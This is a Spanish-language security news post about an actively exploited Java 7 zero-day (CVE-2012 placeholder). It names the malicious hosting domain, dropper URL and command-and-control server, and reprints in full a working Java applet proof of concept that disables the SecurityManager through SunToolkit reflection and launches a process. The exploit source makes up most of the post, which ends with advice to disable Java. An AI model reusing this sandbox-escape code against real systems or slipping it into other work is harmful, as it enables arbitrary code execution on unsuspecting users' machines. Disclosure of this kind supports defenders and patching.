Disponible el código fuente del nuevo 0-day de Java

Investigadores de seguridad de FireEye han informado de una nueva vulnerabilidad de día cero en Java que está siendo explotada activamente en Internet. Los runtime más recientes (JRE 1.7x) son también vulnerables.

Inicialmente, los investigadores descubrieron que este exploit estaba hospedado en ok.XXX4.net y actualmente este dominio está resolviendo una IP de China. La explotación de esta vulnerabilidad además descarga un ejecutable (Dropper.MsPMs) alojado en el mismo servidor (http://ok.XXX4.net/meeting/hi.exe). El dropper también conecta al C&C hello.icon.pk que actualmente resuelve con la IP 223.25.233.244 localizada en Singapur.

POC:
Se ha desarrollado un módulo de Metasploit que se ha probado con éxito en  Windows 7 SP1 parcheado con Java 7 Update 6, y en los siguientes entornos:

  •     Mozilla Firefox en Ubuntu Linux 10.04
  •     Internet Explorer / Mozilla Firefox / Chrome en Windows XP
  •     Internet Explorer / Mozilla Firefox en Windows Vista
  •     Internet Explorer / Mozilla Firefox en Windows 7
  •     Safari en OS X 10.7.4
Además el código fuente ya se encuentra disponible (http://pastie.org/4594319):
//
// CVE-2012-XXXX Java 0day
//
// reported here: http://blog.fireeye.com/research/2012/08/zero-day-season-is-not-over-yet.html
// 
// secret host / ip : ok.aa24.net / 59.120.154.62
//
// regurgitated by jduck
//
// probably a metasploit module soon...
//
package cve2012xxxx;

import java.applet.Applet;
import java.awt.Graphics;
import java.beans.Expression;
import java.beans.Statement;
import java.lang.reflect.Field;
import java.net.URL;
import java.security.*;
import java.security.cert.Certificate;

public class Gondvv extends Applet
{

    public Gondvv()
    {
    }

    public void disableSecurity()
        throws Throwable
    {
        Statement localStatement = new Statement(System.class, "setSecurityManager", new Object[1]);
        Permissions localPermissions = new Permissions();
        localPermissions.add(new AllPermission());
        ProtectionDomain localProtectionDomain = new ProtectionDomain(new CodeSource(new URL("file:///"), new Certificate[0]), localPermissions);
        AccessControlContext localAccessControlContext = new AccessControlContext(new ProtectionDomain[] {
            localProtectionDomain
        });
        SetField(Statement.class, "acc", localStatement, localAccessControlContext);
        localStatement.execute();
    }

    private Class GetClass(String paramString)
        throws Throwable
    {
        Object arrayOfObject[] = new Object[1];
        arrayOfObject[0] = paramString;
        Expression localExpression = new Expression(Class.class, "forName", arrayOfObject);
        localExpression.execute();
        return (Class)localExpression.getValue();
    }

    private void SetField(Class paramClass, String paramString, Object paramObject1, Object paramObject2)
        throws Throwable
    {
        Object arrayOfObject[] = new Object[2];
        arrayOfObject[0] = paramClass;
        arrayOfObject[1] = paramString;
        Expression localExpression = new Expression(GetClass("sun.awt.SunToolkit"), "getField", arrayOfObject);
        localExpression.execute();
        ((Field)localExpression.getValue()).set(paramObject1, paramObject2);
    }

    public void init()
    {
        try
        {
            disableSecurity();
            Process localProcess = null;
            localProcess = Runtime.getRuntime().exec("calc.exe");
            if(localProcess != null);
               localProcess.waitFor();
        }
        catch(Throwable localThrowable)
        {
            localThrowable.printStackTrace();
        }
    }

    public void paint(Graphics paramGraphics)
    {
        paramGraphics.drawString("Loading", 50, 25);
    }
}
De momento Oracle no ha publicado ningún parche así que se recomienda a los usuarios de Java desactivar el complemento de su navegador o desinstalar Java completamente del sistema. 

Fuente: [POC] Source code for the New 0-day Java Exploit is available

Comentarios